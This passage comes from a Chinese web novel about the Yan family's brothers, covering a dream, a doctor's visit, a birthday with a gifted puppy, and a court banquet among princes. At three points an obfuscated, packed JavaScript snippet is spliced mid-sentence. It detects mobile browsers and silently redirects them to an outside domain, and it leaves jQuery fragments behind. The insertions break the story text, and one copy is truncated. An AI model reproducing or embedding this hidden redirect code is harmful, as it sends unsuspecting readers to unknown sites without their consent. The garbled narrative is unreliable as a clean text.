“我记得你。”燕颂看着花十三郎微微睁大的眼眶,淡声说,“那是我第一次去赈灾,生离死别、易子而食,惨事太多,所以那年我见过的人很多都还记得,可你不记得你自己了。你不记得你接过梅子糖时说的那句‘世子慈悲心肠,必有福报’,不记得自己给无力的老人喂水喂饭的模样,如今你是花十三郎,为着钱帮邪|教杀生虐生,为着这一身便于逃走的衣裳可以随手杀掉过路的新娘然后鸠占鹊巢——” “她本就是要死的!”花十三郎辩驳,“是她家里为了那五十两给她许了冥婚,比起在喜棺里活活闷死,我一刀杀了她,算帮她好走了!她能怪我吗?她只能怪她自己天生贱命,投错了胎!” 他哆嗦地吸了口气,哀怨地说:“我也是!如果我投生做了高门小姐,是不是就能和你门当户对?我们——” “不能。”燕颂掐住花十三郎的喉颈,用一种很冷淡平静的目光看了他最后一眼,轻声说,“我有所爱之人,远在天边近在眼前,从来珍之爱之,旁的不再入眼。” 他声色温存,像变成了另一个人,花十三郎眼前一暗,已经被扼断了喉骨。 燕颂松手起身,微微抬手,常春春快步上前替他脱掉指套。他最后那句话太轻,常春春没听见,说:“将死之人的疯言疯语,世子不必放在心上,中蛊的事怕是不好张扬,我立刻私下张罗名医前来为您诊治,确认是否对您无害。” “你觉得他在疯言疯语?”燕颂瞧着常春春。 “当然。”常春春说,“我与您形影不离,还能不知您有没有中意的人?” 燕颂闻言笑了笑,没有说话。 看来他藏得很好。 “……” 又是这个梦,燕颂睁开眼睛,平静地看了眼雕花床顶,起身下床。 看了眼香漏,快到卯时,常春春很快将薰好的袍子拿进来,伺候他更衣洗漱。 侍从麻利地整理床被,侧身要走时见床头柜上放着一团脏帕子,世子虽然没有家室,可到底是个正常男人。他没敢多看,拿起来放进篮子里,转身退下了。 * 仁药堂,小间木门紧闭。 屋内,元元把手从白皙如玉的手腕上收回,说:“从脉象上看,是气血郁结。” “气血郁结会做春|梦吗?”燕冬小声问。 “失眠多梦是症状之一,但春|梦且梦遗嘛,”年轻大夫清秀的脸上满是促狭,“许是你快满十八、春心萌动的原因。” “谁春心萌动啦!”燕冬把梦境详述一番,十分冤枉,“我根本没有喜欢的人啊,怎么会做这样的梦?” 元元摩挲下巴,“这梦确实奇怪,可无缘无故做奇怪的梦本身并不是一件奇怪的事——不瞒你说,我昨儿还梦见自己变成大雍首富了呢。” “大雍的有钱人都被你毒死了?”燕冬呐呐。 “你就是见不得我好!”元元叹气,但医者仁心,他决定大度地不计较燕冬的诽谤,“这样,我先给你开一副疏气安神的方子,至于这奇怪的梦,你且看看还会不会做第二次。” 燕冬表示心病还须心药医,吃药就不必了。 “心病会引发身病,可不能小瞧了它。”元元知道燕冬不喜欢吃药,也不能强求,叮嘱了两句就拿起蒲扇赶人,“没事了就请吧,我忙着呢。” 燕冬摁扁小脉枕,“现下除了我,一个病人都没有,你忙着吃羊粪球吗?” 元元又想起自己从前在山路上平地摔到羊粪球上的美妙滋味,不禁狠狠瞪了燕冬一眼,说:“我忙着给病人配药!羊粪球这样的大补之物,还是留给您吧。” “这不是药童的活?”燕冬担忧,“落魄啦?药童另投他家去了?” “你真真真是见不得我好!”元元痛心疾首,解释说病人来自栀芳楼,病情特殊,他这才亲自配药,“这位姑娘被男人的山盟海誓骗了真心,背着管事姑姑喝了堕胎药,血淋淋地倒在医馆后门,我好悬才保住她的命。” 燕冬说:“看来元大夫仁心慈悲的美名已经传遍了街巷,否则那姑娘哪敢特意跑到您家后门来喝药。” 元元何尝不知那姑娘是故意挑中自家这扇门的,要赌一赌他是个好心人,肯出手相救又肯守口如瓶。他说:“这倒不难,咱们当大夫的,只管治病救人,哪还有多余的心思去坑人?但堕胎药实在伤身子,我索性救人到底,帮她药补一段时间。” 说到此处,元元叹了口气,颇觉烦恼,“栀芳楼里有专门的大夫,她不能常来医馆,白天人多眼杂,我也不敢去找她,好在她房间就在二楼临窗,我前几日就半夜爬窗给她送药,还差点被逮住……诶,等等!” 他眼睛一亮,“你在这儿正好,待会儿帮我悄悄地把药送去,成不成?” 栀芳楼里都是清倌儿,此事传扬出去,那姑娘被惩罚一顿扫地出门都是轻的,以后没有哪家会要她,的确不能光能正大引人注意。但像燕冬这样的显贵子弟,出入任何一座销金窟都是常事,况且他身边有的是可用之人。 果然,燕冬说:“小事。” “行,那我就少收你一成诊金。对了,”元元十分经意地提起,“我打算把后院修一修,辟个小院出来,再去乞丐窝里捡几个乖巧伶俐的回来当药童。” “你算是赶上了,我昨儿还往万佛寺的救济堂拨了善款呢,人间惨事救不完,寒冬腊月的,少几个乞丐冻死也是好的。”燕冬说,“你这钱,我给你出就是了。” “小公子菩萨心肠,必有福报!”元元麻溜配好三天的丸药递给和宝,“记住,鬼祟行事!” 燕冬转头出了医馆,吩咐和宝去送药,自己则站在原地纠结还要不要去驱邪?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467415|169559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说不准真就是忧虑过度导致的呢,燕冬犹豫一番,决定听元元的,看那可恶的淫|魔还会不会再来。 “罢罢罢,回……”燕冬转头,余光瞥到了对角桂水堂的二楼,负手立在花栏杆后的人不是燕颂是谁? “上来。” 燕冬听不见声音,却读懂了燕颂的言语,他转身想走,抬脚却是径自往前,走到了桂水堂的雅间。 “豆乳。”燕冬点了食单,一屁股在窗前的秋千藤椅上坐下,梗着脖子目视前方,不肯看燕颂。 燕颂见状走过去,上下打量着燕冬,“哪里不好,要特意跑到外面来找大夫?” “我有段日子没瞧见元大夫了,替阿姐关心野生师弟顺路来把个脉,不行吗?”燕冬说。 “行。”燕颂点头,“所以,到底哪里不好?” 燕冬支吾不语。 他十五岁头回梦遗,抱着湿嗒嗒的裤子去了燕颂房里,震惊茫然又有点害臊地说:“时隔十几年,我再次尿裤子的景象好不一样!” 燕颂晨练结束,才然从浴房出来,披着件宽袖外衫,长发垂散,神情慵懒,闻言瞧了眼他怀里的亵裤,又瞧了眼他,竟笑出了声。 许是那笑容实在光华夺目,那笑声实在悦耳蹿脊,燕冬被摄魂夺魄一般,没心思谴责这个嘲笑自己的坏人,木头似的杵着那儿,呆了,痴了。 “傻瓜,”燕颂屈指敲他的额头,揶揄道,“我们冬冬是要长大了。” 燕冬后面知道了何谓梦遗,也没有多不好意思,毕竟那是给他洗过澡把过尿的大哥呀,不羞不羞。 但这次不大一样。 前脚才因宋风眠闹,后脚就做春|梦梦见一个男人,是不是有些严于律他、宽容待己的意思?而且燕冬想想梦中那个轻浮放浪、色|欲缠身的淫|魔,又瞅瞅面前这位自来清贵端方禁欲克己冷淡高洁如九天皎月的大哥,觉得说出来简直是污了人家的耳朵! “我心里堵得慌,过来看看。”燕冬眼珠子一转,垂着头,颦起眉,压下声,“其实也没什么大事,元大夫说就是忧虑过度,气血郁结。” 燕颂沉默不语,燕冬心里涩然,哀哀戚戚地想:现在连哄我一句都不肯,可恶! 突然,一只手抚上他的眉心,指尖温热,力道温存。 隔着指缝,那眼切切地抬起来,水亮亮的,伤心委屈惶恐怨怼……什么都挤在里面了,拥着堵着,无从纾解。 燕颂终是叹了气,弯腰半蹲下去和燕冬平视,说:“是大哥错了。” 燕冬鼻腔一酸,这些天所有的情绪都被这简单的一句话抚平了大半。他攥着膝盖的布料,说:“我不觉得你有了人就会不管我,我只是接受不了。” 燕颂看着他,“为什么?” “我不知道……或许我是个自私鬼,不想把自己的宝贝分享给别人。”燕冬眨了眨眼,认真地说,“我很怕你和宋风眠是原书里的一对,但我已经想清楚了,是也没关系,既然你可以改变我原本的命,那我也可以拆散你原本的缘。” 很任性蛮横的话,燕颂却笑了,好似还挺欣慰,“嗯,冬冬真聪明。” “所以我在意的不是宋风眠,而是你的态度。”燕冬伸手戳燕颂的左肩,但那儿的肉紧实精悍,没戳几下,他的指头都戳痛了。他收回手,拳头攥紧了,“你一句话都不肯和我解释,你是不是心里有鬼?” 燕颂心里有鬼,但此鬼非彼鬼,放出来一定会吓坏燕冬。他握住燕冬的手,轻柔缓慢地将那几根发白的指头揉开,冠冕堂皇地说:“我只是不想让你接触太多鬼蜮伎俩。” “我不是笨蛋。”燕冬严肃地说,“我知道你为何藏着宋风眠。” “哦?”燕冬像个先生,对认真思考的学生给予倾听的耐心和循循善诱的鼓励,“为何?” 藏着、护着一颗废子,还能是为什么?燕冬下巴微抬,说:“因为他是宋家的人,你要站的是那位四皇子。” 燕颂不置可否,“我的选择如何?” “绝不会错。”燕冬顿了顿,“当然,因为这个不和我解释——大错特错!” 燕颂失笑,松手时顺手刮了下燕冬次指上的红玉戒,随后从袖袋里取出一张笺纸塞进那手里。 燕冬松开手,摊平纸,是他先前写画的那张素笺,上面的燕颂认真地回答了他,下头还如约地盖着朱红私章。 燕颂看着燕冬动容的表情,趁机求饶,“我没有在外面做有损家风的事,也没有喜欢别人。” 燕冬盯着燕颂,嘴角一瘪,嘟囔道:“早这么说不就完啦?一句话的事罢了,你就气我吧。” 常春春端着托盘进来,见燕冬嘟嘟囔囔诉说这些日子的情绪,但嘴角都压不住了,又撇了眼目光专注的燕颂,不禁在心里叹了一声。 青蛙只是烫得跳了下脚,添火滚水的人自己倒先心软了。 半途而废。 15.生辰 小寒这日,燕家人都回了家,今儿有寿星,他们一贯是要围桌吃饭的。 燕纵背着匣子早回一步,听人说小公子在熏风院帮世子整理书架,就转弯拐了过去。 进去的时候,燕纵瞧见赤阑桥上蹲着个人,浑身素白,发髻插着朵白花,乍一眼好似在戴孝。这人正伺弄一盆白山茶,挽袖露出来的手腕干净伶仃,呈现出一种细弱的白皙。 燕纵虽不是燕姰,但自小习武,又奉武职,摩擦受伤那是家常便饭,所谓久病成医,他一眼就看出这人身子骨弱,是有伤在身。 但他没打算好奇长兄院里的人,一眼便收回目光,踏上桥时,这人偏头看了过来,露出一双清凌凌的眼睛。 燕纵顿步。 他们在殿前司当值的人,除开武艺、警惕、分寸以及能熬夜外,还得耳清目明,燕纵是其中翘楚,但凡见过,他都过目不忘。燕家已经许久没有雇人入府了,眼前这人却是新面孔。 这人许是没想到来的是他,迅速整理收敛神色,但就在它归为平淡的前一瞬,燕纵已经用虎狼般的目光撕裂这张假面的缝隙,从中咬出一种死命压抑的恨意。 难怪他第一眼就觉得这人周身萦绕着一股郁气。 燕纵微微眯眼,“你是何人?” 男人身形高挑,缓步走来时很有压迫性,宋风眠脚跟后退半步,垂首行礼道:“回二公子,小人是新来的茶匠,贱名贾德。” “贾德,”燕颂在宋风眠面前停步,毫不掩饰地打量他,“假的?” 燕二公子和他大哥不同,毫不收敛如出鞘利剑,令人望而生畏。宋风眠不敢抬头,说:“贱名能博二公子一笑,是小人的福气。” “我笑了吗?”燕纵问。 “没有。”宋风眠说,“小人的意思是:二公子大可将小人的贱名当做一则不怎么好笑的谐音笑话。” 好柔顺啊,这样的柔顺竟然出现在一个满心仇恨的人身上,燕纵从中咂摸出四个字——虚伪矫饰。他目光微沉,正要说话,却被人打断了。 “二哥!”燕冬从书房出来,朝他招手。 宋风眠立刻侧身,燕纵当即大步流星地下了桥,走到廊上说:“收拾好了?” “我勤劳了一下午,书房焕然一新,大哥必须要狠狠夸我!”燕冬望了眼桥上的人,解释说,“这人是新来的。” 燕纵说:“这人很奇怪。” “大哥从外面带回来的,怪不怪大哥清楚,您就别操心了。赶紧,”燕冬伸出双手,“献上你的寿礼。” 燕纵闻言没再说什么,伸手轻轻打了下燕冬的手心,揽着他到一旁的美人靠坐下。 “我还能给你什么啊?”燕纵解下胸前的带子,把后背的匣子取下来给燕冬,“瞧瞧。” 燕冬打开匣子,里面装的果然是武器,一把黑漆弩和配套的弩箭。 “这玩意儿秀气,和弩箭一道往囊袋里一装就能随身携带。”燕纵瞧着弟弟笑呵呵的模样,也跟着笑了笑,“喜欢吧?” “嗯嗯,你做的?”燕纵点头,燕冬便凑上去撞他的肩膀,“不愧是我二哥,这手艺,不赖不赖!” 燕纵挑眉,“那当然,你二哥是谁?” “皇城第一高手!” “做个小弩?” “闭眼瞎干就能成的的事儿!” 燕冬一边装箭,一边哄哥,三心二意都不落下,突然,他余光瞥见一道身影,当即一扭肩膀,手腕上举,让箭尖对准院门,嘴上说:“咻——” 刚进门的人侧身躲开弩箭。 燕颂目光往前,看见半根弩箭都钉入身后的半扇院门,正中雕花门上的山茶花蕊。紧接着,以那朵可怜的山茶雕花为中心,木门震开一圈深厚的蛛网形裂缝,碎块纷落。 常春春吩咐侍从去通知库房来换门,笑着说:“小公子的箭术比起禁军司的那些神射手也不遑多让。” 燕颂颔首,对跑过来的人说:“手更稳了。” “那是!”燕冬才不谦虚,凑到门上瞧了一眼,对弩的杀伤力很满意。 燕颂刚从衙门回来,先回屋换了身常服,出来时两个弟弟正在院里打闹,小的爬到大的背上不下来,大的在原地转圈,像头精神旺盛的疯牛。 时值傍晚,薄暮澄晕洒了两人一身,两双颇有相似之处的眉眼俱都鲜活舒朗。 其实细看的话,他和他们是不像的。 燕纵带着燕冬又转了半圈,燕冬双臂锁着燕纵的脖子,笑着龇牙时正好对上燕颂专注的目光。他愣了愣,而后连忙晃脑袋,说:“大哥,走着!” 燕颂迈步走下踏道,跟着吵嚷个不停的兄弟俩出了院子,往梅苑走去。 快到的时候,雪球不知从哪儿钻出来,在燕冬屁股后头一蹦三尺高,也想要人背。 燕颂瞧了眼叫唤的小白狗,大发慈悲地把他捞住,递给燕冬。 燕纵忍辱负重,驮着一人一狗进入梅苑。 小厨房里灶烧得旺,燕青云偶尔会下厨,到了家人生辰更是要大展身手。崔拂来不会做饭,但会几样糕点,此时也挂着臂绳给小儿子做喜欢吃的栗子糕。燕姰虽然被阻隔在灶台三丈开外,但她梦想不死,杵在厨房里认真学习,全学了,全没消化。崔素棠则在一旁熬着核桃露。 鱼照影和侯翼也来了,正坐在长廊上的亭里对弈。 刚进来这三个都是不会下厨的,等燕冬和雪球蹦下去,燕纵就凑到廊外招惹侯翼去了。 侯翼正愁被鱼照影杀得满桌打滚,霎时拍桌而起,和燕纵切磋起来,十分自然流畅地脱离了必输的棋局。 鱼照影晃着扇子,看不上这种棋品差的。 那边花厅里走出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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打仗那几年,前线事务繁忙,崔拂来一年也缝不完一件小袍子,小孩子又蹿得快,于是第二年,她就寄了一件小红袄和四条风领回京。后来几年,她年年都寄四份相同的小物件回家,譬如手套、书袋、围脖、发带等。仗打完了,他们一家团聚,她仍然每年都给孩子们绣一样做生辰礼。 大红色的手套,缀了圈兔毛,摸着柔软又暖和,燕冬爱不释手,立刻戴上举给燕颂看。 燕颂摸了摸手套上的白色飞燕,它坐在梅枝上,神情安逸可爱。他目光微晃,落在指缝后的那张脸上,本就鲜活漂亮的眉眼浸在幸福的蜜罐儿里,每寸皮囊都散发着香甜。 燕颂喉结滚动,嗓子突然有些干。 “大哥,”燕冬没发现他的异常,晃着圆乎乎的爪子催问,“好不好看好不好看?” 燕颂回神,说:“好看。” “裹着好舒服好暖和……等会儿,”燕冬搓着手,突然挑眼瞅向燕颂,摆上了寿星老爷的谱,“这位,你的贺礼呢?” “少不了。”燕颂指尖发痒,没忍住挠了挠燕冬的下巴,哄着说,“家宴后跟我回去,我给你。” 16.葡萄 燕家一贯是不办宴席、不大肆收礼的,但小公子生辰,门前祝喜的络绎不绝。一场家宴结束,门前迎笑的燕管家脸都酸了,僵着脸木着嗓子吩咐人将贺礼抬去熏风院。 桌旁只有燕冬,瞧见管家进来,便唤了声“漠叔”。 “诶,按照惯例,收礼只收拒不掉的、交情好的,这是礼单,小公子过目。”说罢,燕管家从袖袋里取出一只小匣子,打开呈上,笑着说,“小公子,生辰吉乐,无病无忧。” 匣子里是只比拳头略小的黄杨木雕寿桃,玲珑可爱,栩栩如生,能做小摆件,穿绳也能系在腰上。 “哇,漠叔,您这手艺,镂月裁云,没的说。”燕冬捧起寿桃嗅了嗅,隐隐有股淡木香,他笑眯眯地道谢,“刚好二叔给我作了一幅寿星图,我就把您这个摆在画几上,合衬!” 燕漠笑着“诶”了一声,行礼退下了。 燕冬戳了戳小寿桃,轻轻将它放回匣子,摊开礼单一瞧,宫里送了好几份礼,各皇子府紧随其后。突然,他听见点细弱声响,循声低头,就对上一双黑葡萄眼。 椅子后头不知何时出现了一只小黑狗,正抬头看着他,胆怯踌躇的样子。 燕冬一下子就猜到了它出现在这里的原因。 他和小狗对视了片刻,耐心地等它试探到脚边,把脸凑近裤腿嗅了嗅,又抬头看向自己的时候才伸出手,很轻地揉了下它的脑袋。 “哪里来的?”燕冬转头看向门口。 燕颂走了进来,“黔州寻花楼后门捡的。” 燕冬把小黑狗抱到腿上,“寻花楼?” “青楼。”燕颂在旁边落座。 摸狗的手停了停,燕冬偏头瞅着燕颂,不说话。 那小眼神颇幽怨,谴责他,燕颂失笑,“想知道我为何进花楼?” 这还用问吗?燕冬重重地点头,“嗯嗯!” “原因就在,”燕颂目光下移,落到燕冬的大腿上,“这里。” 燕冬跟着垂眼,和那双圆溜溜的葡萄眼对视了一瞬,有点摸不着头脑,“它?” 为了追捕藏在寻花楼的邪|教教贼,审刑院的人从花楼后门潜入,燕颂坐在暖轿里等待时,常春春眼尖地发现了窝在墙根的小黑狗。 天冷,狗冻得半死,燕颂掀帘瞧了一眼,那模样和雪球被燕冬捡到的时候差不多。 长得很乖,冬冬应该会喜欢。 “我懂了我懂了,你进花楼是为了就近找个地儿救狗?那里头暖和,大夫温水热食一应不缺。”燕颂颔首,燕冬不禁傻乐了两声,转念又纳闷道,“诶,可你为何在花楼里换了身衣裳?” 燕颂瞥他一眼,“我在外面奔波了一日一夜,好容易进屋歇一脚,还不能沐浴更衣了?” “能的能的,只能怪花楼这个地方太引人遐想了嘛。”燕冬嘿嘿,往燕颂边上挪了挪,肩膀挨在一起,“它有名字吗?” “没有。”燕颂说,“你起。” 雪球是大哥起的名,用的是外形赋名法,那这只,燕冬把小黑狗举起来,沉吟一瞬,说:“叫‘葡萄’吧,你喜欢吗?” 小狗听不懂,用爪子抱他的手腕。 燕颂见状笑了笑,“它不怕你了。” “葡萄好,好葡萄,以后你就是雪球异父异母的亲弟弟了。”燕冬又想起一茬,“对了,大哥,你先前把它藏在哪儿啊?” 没藏,燕颂从潞州回来时走得急又是骑马,不好带狗,就嘱咐留在潞州收尾的人把狗看着,在燕冬生辰前送回来。 “原来如此。”燕冬握着葡萄的爪子轻轻扒拉燕颂的肩膀,“谢谢大哥,我很喜欢它。” 狗爪子原本没有半分力道,扒在肩头上却“痕迹”很重,燕颂看了眼乖巧安静的葡萄,又抬眼看向挨着小狗后脑勺的那张笑脸,良久才说:“我们汤圆,生辰吉乐。” 他唤燕冬的小名,语气温存,目光也是。 * 各部陆续开始放岁假了,国子学也冷清下来,照那日说好的,燕冬到国子学领罚,鱼照影和侯翼自然不能让他寂寞,跟着一起进出忙碌了三日。 王嘉禧心里过意不去,原本也是要来的,可临近年关,她得跟随父母回江州祭祖,只能承诺回京后再请客赔罪。 贺申人虽来了,但日日都坐着轮椅在堂上混日子。论读书考试,他自来是在同窗中排倒数,本就没机会从国子学被钦点入仕,国子学里品级最高的也就是个从四品,若非师生关系平日见了他还得恭恭敬敬地叫声“小伯爷”,他压根瞧不上这些人,更不稀罕讨他们喜欢。 “大爷似的瘫在那儿,神气什么啊。”窗外,侯翼往嘴里塞了块马蹄,很不顺眼。 刚搬了一箱考卷的鱼照影打后头过来,“人都身心俱残了,你就让让他吧。” “还是冬下手狠啊,一蹄子就给人踹折了。”侯翼竖起大拇指。 堂内都收拾得差不多了,燕冬正坐在美人靠上剥栗子吃,闻言“诶”道:“他先犯浑的啊,否则我跟他说话都怕吸入脏气。” 侯翼点头赞同,又看向鱼照影,“诶,你刚说的身心俱残’是什么意思?” “贺家长公子,”鱼照影分享新消息,“人家刚升礼部郎中了。” 贺申自来厌恶长兄,长兄不好,他幸灾乐祸,长兄好,他自然就是—— “听,”侯翼捂住自己的心,“心碎的声音。” 贺申近来确实“心碎”,除了贺大升官这个坏消息外,三皇子不知为何突然禁止他和王嘉禧亲近,还说他们两个现下绝不可能,他不能向这位皇子表哥索要解释,只能暗自郁闷。此时听外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478639|169559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面那三人阴阳怪气,幸灾乐祸,简直是大光其火。 “你们仨!”贺申从轮椅上撑起上半身,引颈向窗外怒吼,“能背着我说吗!” 没人搭理他,等学录出来打了声招呼,仨人就拍拍袖子勾肩带背地走了。 以劳代惩完毕,燕冬就正式休岁假了,但燕颂还没有,他身兼数职,属于中枢里最忙的那批朝官。 这日卯时,燕颂正要去外间用膳,寝屋的门突然“砰”了一下,燕冬裹着身狐裘斗篷撞了进来。 这人游魂似的飘到他面前,耷着头,迷瞪着,“热帕子。” 声儿太小,说梦话似的,博古架屏风外的侍从根本没听清,踌躇在原地。 燕颂得瞧瞧这孩子在搞什么,重新吩咐下去。燕冬很快就得到了热帕子,先往自己脸上试了试温度,然后伸手扒住他的肩膀,下一瞬,那热帕子就糊了他一脸。 燕颂:“……” 帕子在脸上胡乱地擦了两下,燕颂没反抗,等帕子被拿掉才伸手探入那毛茸茸的斗篷帽下,掐住燕冬的脸腮,俯身问:“梦游?” 燕冬不说话,脑袋耷拉在他手上,一副要就地睡过去的模样。 “世子,”和宝在外探头,小声说,“公子特地早起,来陪您用膳呢。” “闹哪出啊?”燕颂见燕冬困得厉害,便帮他解了斗篷,露出一身雪白寝衣和一头乱糟糟的鸟窝。 他抬手梳理鸟窝,“昨儿什么时辰睡的?” “回世子,寅时二刻。”和宝不敢扯谎,但也要替主子解释,“公子没有玩儿,他是在认真学习呢!” 燕冬已经倒在燕颂肩头睡着了,燕颂将人抱起来塞入被窝,人沾床打了个滚,拽着脖颈处的锦被睡了。他笑了笑,转身走到博古架屏风前问:“学的什么?” “二爷那儿有几本说茶的孤本,公子昨儿借回来就看入迷了,半夜睡着的时候书还盖在脸上呢。”和宝替自家主子邀功,“公子傍晚的时候跟青青说了,今儿得早早叫醒他,他要来陪您用早膳,咱们不敢不叫、误了公子的一片真心!” 六艺八雅,燕冬自然是都学、都会,可他从前对茶道并无特殊的兴趣。和宝听见燕颂叹了口气,像是无奈,又带着点笑意,他琢磨不透,旋即就听见燕颂吩咐人在里屋置张小桌布膳。 侍从们手脚麻利,燕颂很快就侧对着床的方向落座,清楚得瞧见那小半张脸抵在被沿,睡得正香。 面前的粥正热着,米粒软糯,掺着栗块儿,燕颂吃了一勺,唇齿温热香甜。借着秀色用了早膳,临走了,他说:“等小公子醒了,就说我在这儿用的,算他陪过了。还有,叫他别强迫自己看不喜欢看的书,早些就寝,莫要伤了眼睛。” 和宝应声,觉得世子心情不错,一定是被小公子的孝心感动了! 17.花会 是月,京城有人进暖洞薰花,安信侯府的李小侯爷是个爱花之人,尤爱牡丹,今年也在宅子里办了牡丹会,宴请锦绣子弟、雅客素士上门赏花。 是日花簇锦攒,宾客盈门,热闹极了。 “你们仨——” 蹲在花圃边争执眼前十余种牡丹哪个最漂亮的三人齐齐回头,看见了大步走来的李小侯爷。 “几位殿下正在那边园里,我得过去陪客,就不招待你们了。你们自己逛,要什么就吩咐,晚些时候来厅中用膳,我备了洛城的牡丹花酒,你们可得尝尝。”说罢,李漱阳就顺着青石花|径快步走了。 三人你拉着我、我拽着你,波浪似的耸了起来,继续往里面去。 这园子不够富丽堂皇,但奇石嶙峋,曲折池塘,凤尾森森,颇有山野之风。 三人走走停停,打打闹闹,撵着一只狗瞎跑,待听到远处传来陆陆续续的铃铛声,才放过那只狗,打道去了宴厅。 李漱阳辟了一座小院设宴,廊下是每桌可容纳四五人的圆石桌,院中是曲水流觞,人头攒动。三人踩着涩浪前后进入花厅,和宝上前为燕冬脱下披风,当午随他在从侧方楼梯上去。花厅二楼则是一张四方牡丹台,雕栏玉彻、帷幔低垂,白日花颜如绣,夜里以烛火映照,更是暖玉馨香。 长方酒桌上已经坐了些人,正在听乌盈显摆自己新得的好洞箫,三皇子面向这方,率先瞧见了他们,便笑着说:“寿星来了。” 燕冬向几位皇子行礼,被三皇子叫到身旁的位置坐下。 三皇子是贺申的表哥,燕冬屁股一沾坐垫,就率先表态,“不和傻子讲和。” “傻子今儿没来,不说他。”三皇子说,“手炉还使得吗?” “使得使得,镂空桃花很漂亮,拿着也轻。”燕冬抖了抖袖子,把里面的铜手炉拿出来,捧给三皇子看,“多谢殿下。” 三皇子屈指弹了下手炉,“喜欢就好。对了,可停药了?能不能饮酒?” “停了,”燕冬双手抱着手炉,老神在在地,“小酌几杯吧。” 三皇子拿起一旁的青釉注碗,给燕冬倒了杯牡丹花酒。对坐的五皇子见状笑了笑,“三哥,好体贴呀,怎么不见你这么体贴弟弟?” 三皇子听不见。 牡丹花酒入口清幽、不会甜腻,燕冬抿了一口,颇为赞许地点头。他抬眼瞅着五皇子,说:“眼瞧着三殿下这么体贴,五殿下,您怎么不好好学学呀?” 五皇子没说话,起身走到燕冬面前,一手拿起桌上剩下的半杯,一手握住燕冬的后脑勺,“来,我喂你。” 燕冬没反抗,枕着五皇子的手把酒喝了,五皇子笑眯眯地说:“我体不体贴?” “体贴。”燕冬说,“那您别走了,一直伺候我嘛。” “这有什么不行?”五皇子在燕冬的另一边落座,抬手打榧子,“诶,看果看菜都撤了,上正菜,我急着伺候咱小公子呢。” 李漱阳的目光从另外两位皇子面上扫过,见他们没意见,便吩咐道:“开宴吧。” 朱弦玉磬,歌舞齐出,簇罗头面、银绣青袄的侍女鱼贯而入,正菜十五盏共三十道,辅以下酒果子和下酒菜。 燕冬瞧上了一道炉焙鸡,伸筷开动。 三位皇子凑在一桌,免不了唇枪舌剑,互相贬损,今儿老二老五你来我往,尤其激烈,免不了要拿才死没多久还新鲜的陈臻当刀子。 二皇子笑容温和,“五弟,听说陈臻是个有孝心的,可惜他那儿都是赃款,收了,人就跟着脏了。” “二哥宽心,弟弟真要是过不下去了,头一个找你接济,你要是狠心不给,弟弟就不走了,索性在你府门前上个吊玩玩儿。但你说起潞州,我就想起关于我那位夭折四哥的传言了。”五皇子叹气,“我是真盼着四哥‘死而复生’与咱们兄弟团聚,二哥,你盼不盼啊?” 五皇子言笑晏晏,讽刺老二最坐不住,那真假不知、生死未卜的四皇子还没坐实,他就怯了。 燕冬抿酒时抬眼,看见了对面的二皇子,对方笑意微僵,显然是被戳中了。他挪开眼,和鱼照影、侯翼对视,心照不宣地当三个饭桶。 无奈偏偏有人不愿让他安静用膳。 “燕世子不是打潞州回来吗?流言是真是假,他应当清楚。” 燕冬慢悠悠地吃着一瓣蜜煎金橘,抬眼看向说话的人,是王植的弟弟,王樟。他和气又直白地说:“诸位殿下听见没?人王公子好心给您几位指路呢。” “逢春说笑了。”三皇子说,“流言来处不知,续明哪能知晓真假?况且续明办了陈臻的事情朝野皆知,哪怕他真的知道什么,也早就如实禀到御前,由父皇裁度了。” 可御前风平浪静,所以谁都不好去燕颂那里打听,否则不如直接去御前问一句:父皇,到底谁是您的四儿子啊? 王樟后知后觉说错了话,脸上顿时一阵火烧火燎。 “殿下说得有理……等等,”燕冬看着王樟,好似突然想起一茬,“听说那日朝会上有人拿安信侯夫人遇袭一事作怪,妄图往家兄头上扣帽子,王府尹不是在查这事儿吗?你与王府尹是兄弟,不知有没有从王府尹那里听说什么消息,快同我和李小侯爷说说。” 王家是江州大户,王家老太爷曾拜帝师,可子辈不争气,文脉无人传承,在官场也后继无人。王樟是王家的嫡子,可如今提起江州王家,谁都会先想起年轻有为的王府尹。偏偏这个庶子发迹前在家中不得重视,备受冷待,如今人家一风光,就反衬得王家良玉不识,有眼无珠,活该落魄。 王樟从前不仅看不起王植,还出言轻贱过人家,如今借着明年春闱的由头住在王植府上,外人看来是兄友弟恭,也因此卖他几分薄面,好比今日还让他上了桌,他却知道自己忸怩不安,是既羞惭又怨妒。 燕冬这话在王樟听来就是故意戳自个儿脊梁骨,可他面上不能有丝毫不满。他能坐在这里本就是仗着李漱阳和诸皇子愿意给王植面子,可他明白,他和桌上的所有人都格格不入。 王樟僵硬地扯了下嘴角,说:“燕小公子见谅,家兄公务繁忙,我平日在家都不敢叨扰他。” “哦,这样啊。”燕冬可惜地叹了口气,和对坐的侯翼碰了杯酒。 燕冬从不忍谁让谁,心情好的时候刺你一刺,心情不好的时候直接掀桌都是有的,但作为东道主,李漱阳不能装聋作哑,传到王植那儿不好听。 